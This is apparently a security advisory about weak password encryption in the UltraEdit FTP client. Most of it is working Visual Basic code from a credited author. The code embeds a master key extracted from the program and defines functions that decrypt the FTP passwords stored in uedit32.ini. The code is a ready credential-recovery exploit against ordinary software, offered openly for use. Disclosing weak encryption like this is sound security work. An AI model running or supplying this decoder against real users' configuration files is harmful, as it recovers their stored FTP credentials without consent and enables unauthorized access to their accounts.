UltraEdit FTP Client Weak Password Encryption Vulnerability

UltraEdit FTP Client Weak Password Encryption Vulnerability

This exploit was written by "E. van Elk" <edwin@eve-software.com>:

This piece of VB code will decode the passwords stored in uedit32.ini for the FTP accounts

' UltraEdit FTP password decryption (stored in uedit32.ini)
'
' Taken from the help-file:
'
' This checkbox determines if UltraEdit will save the password for later
' reference. If not the user will be prompted for the password as required. Note
' ? if the password is saved it is stored on the system. It is encrypted however
' the encryption mechanism is unsophisticated and should not be relied upon as a
' method of security.

' Masterkey. Taken from the UltraEdt.exe
Private Const Masterkey = "sdfkh we;34u[ jwef "

'Decode a single character
Public Function UEDecode(i_Asc, ByVal i_Pos As Integer)

i_Pos = i_Pos Mod 19
If i_Pos = 0 Then i_Pos = 19

UEDecode = ((Not i_Asc) And Asc(Mid(Masterkey, i_Pos, 1))) + (i_Asc And ((Not Asc(Mid(Masterkey, i_Pos, 1))) And 127))

End Function

'Decode password
Public Function UEDecodeString(str_password As String)

Dim i As Integer

UEDecodeString = ""

For i = 1 To (Len(str_password) / 2)
UEDecodeString = UEDecodeString + Chr$(UEDecode(Val("&H" + Mid(str_password, (2 * (i - 1)) + 1, 2)), i))
Next i

End Function